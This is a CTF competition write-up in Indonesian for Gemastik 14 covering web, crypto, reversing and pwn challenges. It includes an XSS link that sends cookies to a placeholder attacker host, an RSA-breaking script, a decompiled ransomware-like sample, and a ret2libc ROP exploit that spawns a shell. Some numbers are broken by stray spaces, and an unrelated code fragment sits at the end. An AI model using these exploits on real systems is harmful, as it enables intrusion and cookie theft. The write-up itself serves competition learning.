WRITEUP CTF

Gemastik 14

by

-SmallBrainBois-

Institut Teknologi Bandung

Misc

Sanity Check

Tinggal submit flag

Flag: gemastik14{___Welcome_to_Gemastik_XIV___}

Web

---

php-ng

Diberikan sebuah website dengan CSP, namun headernya error sehingga XSS dapat dilakukan dengan cara biasa.

```
http://54.169.77.27:10011/?name=%3Cscript%3Elocation.href=%22<attacker-web>?%22%2Bdocument.cookie;%3C/script%3E&l=1&t=1&sisi=1
```

Kirimkan link ke report dan didapat flagnya:

```
Flag: gemastik14{php_output_buffering_13niva09nhfwofib}
```

Forensics

└(*°▽°*)┘

Cryptography

Blindfolded

Diberikan file server.py yang melakukan proses enkripsi RSA secara blind (nilai e dan n tidak diberikan).

Berikut adalah script yang kami gunakan, penjelasan akan diberikan selanjutnya. Ref https://nbviewer.jupyter.org/gist/hellman/6f3cf1dafc72564038346dfc7c496bc4

```
from pwn import *
from math import gcd
from Crypto.Util.number import inverse, long_to_bytes as lb

p = remote('54.169.77.27', 10020)

def get_chall():
    p.recvuntil(b'<< ')
    return int(p.recvline()[:-1])

def encrypt(m):
    p.sendlineafter(b'>> ', str(m).encode())
    p.recvuntil(b'<< ')
    return int(p.recvline()[:-1])

if __name__ == '__main__':
    fetch_chall = False
    if fetch_chall:
        ct = get_chall()
        print('ct', ct)

        # leak n
        cx = encrypt(2)
        cy = encrypt(2 ** 2)
        cz = encrypt(2 ** 4)
        print('cx', cx)
        print('cy', cy)
        print('cz', cz)

        N = gcd(cx ** 2 - cy, cy ** 2 - cz)
        print('N', N)

    else:  # fetch_call == False
        # from fetch run
        ct = 33214983384296967202133271235082785754130220404957062975392089780 60
        cx = 70762735019513494491590660519398995454588593221398756777927963285 58
        cy = 10968011171353046521440776973179528288823926295072066381741611221 90
        cz = 45437599184206565533641993969229398236904655599003290368122129587 27
        N = 11891019394264893660914179850696407088916485552241807583344464607913
```

```
        # calc p q
        # sage:
        """
factor(30490259429417891237237081659576783818822213354601435171182278959276 1)
        """
        p = 183288938376007721884044649921
        q = 648758157454711531859633430303 14770153

        # calc e
        # sage script:
        # Pohlig-Hellman's discrete logarithm method
        # https://nbviewer.jupyter.org/gist/hellman/6f3cf1dafc72564038346dfc7c496bc4
        """
x = 2
cx = 707627350195134944915906605193989954545885932213987567779279632855 8
N = 118910193942648936609141798506964070889164855522418075833444646079 13
p = 183288938376007721884044649921

F = GF(p)
e = F(cx).log(F(x))
assert pow(x, e, N) == cx
        """
        e = 1165378559347733292949

        # get flag
        phi = (p - 1) * (q - 1)
        d = inverse(e, phi)
        flag = lb(pow(ct, d, N)).decode()
        print('gemastik14{' + flag + '}')
```

Pertama (fetch_chall = True), kami fetch enkripsi dari plainteks 2, 2 ** 2, dan 2 ** 4 yang akan digunakan untuk proses recover modulus (`N= gcd(cx ** 2 - cy, cy ** 2 - cz)`). Berikut adalah hasil keluarannya.

```
root@kali:/media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded# python3 solution.py
[+] Opening connection to 54.169.77.27 on port 10020: Done
ct 33214983384296967202133271235082785754130220404957062975392089780 60
cx 707627350195134944915906605193989954545885932213987567779279632855 8
cy 109680111713530465214407769731795282888239262950720663817416112219 0
cz 454375991842065655336419939692293982369046555990032903681221295872 7
N 118910193942648936609141798506964070889164855522418075833444646079 13
root@kali:/media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded#
```

Kedua (fetch_chall = False), kami masukkan nilai ct, cx, cy, cy, dan N secara manual ke dalam script di atas. Karena nilai N cukup kecil, kami gunakan sage untuk melakukan faktorisasi nilai N dan didapatlah nilai p dan q. Selanjutnya untuk proses recover publik eksponen e, kami gunakan metode *discrete logarithm* Pohlig-Hellman yang sudah tersedia di sage. Berikut adalah keluaran sage pada proses recover nilai N dan e.

```
sage: factor(118910193942648936609141798506964070889164855522418075833444646079 13)
183288938376007721884044649921 * 648758157454711531859633430303 14770153
```

```
sage: x = 2
....: cx = 707627350195134944915906605193989954545885932213987567779279632855 8
....: N = 11891019394264893660914179850696407088916485552241807583344464607913
....: p = 183288938376007721884044649921
....:
....: F = GF(p)
....: e = F(cx).log(F(x))
....: assert pow(x, e, N) == cx
....:
sage: e
1165378559347733292949
sage:
```

Setelah didapat nilai p, q, N, dan e, proses dekripsi ciphertеksnya cukup trivial dan didapatlah flag berikut.

```
root@kali:/media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded# python3 solution.py
[+] Opening connection to 54.169.77.27 on port 10020: Done
gemastik14{GCD_sav3d_7he_d4y_nangid}
root@kali:/media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded#
```

Flag: `gemastik14{GCD_sav3d_7he_d4y_nangid}`

Reversing

Slytherin

Diberikan sebuah file script python dan raw data (slythered). Jika dipahami, script python melakukan 2 hal berikut:

1. Menjalankan bytecode
2. Mengubah bytecode sebelumnya menjadi string random

Menggunakan kode decompiling berikut, dapat diketahui bahwa bytecode tersebut berisi script.

```
a = '\xa2\x93\xe7Z\xe...'
raw = zlib.decompress("".join([chr(ord(a[i%32])^ord(a[i])) for i in
range(32,len(a))]))
code = marshal.loads(raw)
uncompyle6.main.decompile(2.7, code, sys.stdout)
```

```
import zlib, os
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
public_key = '-----BEGIN PUBLIC
KEY-----\nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAp6i5d8BDOZL/fbsZtrTB6kCAwEAAQ==\n-----END
PUBLIC KEY-----'

def encrypt_key(aes_key, rsa_key):
    return pad_key(long_to_bytes(pow(bytes_to_long(aes_key), rsa_key.e, rsa_key.n)))


def pad_key(key):
    return key + chr(69) * (20 - len(key))


def compress_dir():
    return zlib.compress(('').join([ open(file_name).read() for file_name in
filter(os.path.isfile, os.listdir(os.curdir)) ]))


def encrypt(data, aes_key, rsa_key):
    cipher = AES.new(aes_key, AES.MODE_EAX)
    nonce = cipher.nonce
    print(len(nonce))
    ciphertext = cipher.encrypt(data)
    print(len(encrypt_key(aes_key, rsa_key)))
    return 'slyt' + nonce + encrypt_key(aes_key, rsa_key) + ciphertext


if __name__ == '__main__':
    out = open('slythered', 'wb')
```

```
    out.write(encrypt(compress_dir(), os.urandom(16), RSA.import_key(public_key)))
    out.close()
```

Jika diteliti, script yang dihasilkan mengisi file ‘slythered’ dengan hal-hal berikut:

1. String ‘slyt’
2. Nonce dari cipher AES
3. Key AES yang terenkripsi bersama n dan e dari RSA
4. Isi dari current directory yang terkompres

Key AES sendiri dienkripsi dengan RSA yang n dan e nya diketahui. Nilai n ada pada factordb sehingga d dari RSA dapat diketahui dan Key AES dapat di-recover.

Karena Nonce dan Key dari AES sudah diketahui, ciphertext juga dapat di-recover.

Selanjutnya, tinggal decompress plaintext (isi directory) lalu didapatkan DS_Store yang jika di-extract dengan foremost berisi 4 buah gambar yang jika disatukan menjadi flag.

Berikut script untuk recovery sampai plaintext didapatkan.

```
import zlib, os
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import gmpy

f = open('slythered', 'rb')
data = f.read()
f.close()

slyt = data[:4]
nonce = data[4:20]
key = data[20:40]
ciphertext = data[40:]
unpad_key = key[:-3]

public_key = '-----BEGIN PUBLIC
KEY-----\nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAp6i5d8BDOZL/fbsZtrTB6kCAwEAAQ==\n-----END
PUBLIC KEY-----'
rsa_key = RSA.import_key(public_key)

# factordb
p = 26962216988344497907
q = 33062139214751393267
long_key = bytes_to_long(unpad_key)

phi = (p - 1) * (q - 1)
d = gmpy.invert(rsa_key.e, phi)
aes_key = long_to_bytes(pow(long_key, d, rsa_key.n))
cipher = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)

decompressed = zlib.decompress(plaintext)
```

```
print(decompressed)

# extract gambar dengan foremost
```

Flag: gemastik14{you_just_beat_a_shapeshifting_malware}

Pwn

Pepega

Diberikan suatu file binary dengan vulnerability Buffer Overflow yang cukup panjang untuk membangun ROPChain. Dengan script berikut dibentuk ROPChain dengan flow:

- Leak address libc dari setvbuf (untuk mendapatkan address system)
- Kembali ke main untuk ROPChain kedua
- Panggil system

```
from pwn import *

# r = process('./pepega')
r = remote('54.179.3.37', 10030)

setvbuf_got = 0x404028
puts_plt = 0x401030
main = 0x4011D9

poprsi = 0x00401291
poprdi = 0x00401293
ret = 0x004011d8

payload = 'A'*0x100 + 'A'*0x8 + p64(poprdi) + p64(setvbuf_got) + p64(puts_plt) +
p64(main)
r.sendline(payload)

r.recvline()
leak = r.recv(6)
setvbuf_libc = u64(leak.ljust(8, '\x00'))
print hex(setvbuf_libc)

libc_base = setvbuf_libc - 0x087e60
system = libc_base + 0x055410
binsh = libc_base + 0x1b75aa

payload = 'A'*0x100 + 'A'*0x8 + p64(ret) + p64(poprdi) + p64(binsh) + p64(system)

r.sendline(payload)

r.interactive()
```

Flag: gemastik14{punten_php_tadi_misconfig_sadge_ini_free_flag_lagi_g9psodfbdnsdv35a}

```
# If we failed too many times, then we're locked out.
elif self._failed_pin_auth > 10:
    exhausted = True
```

F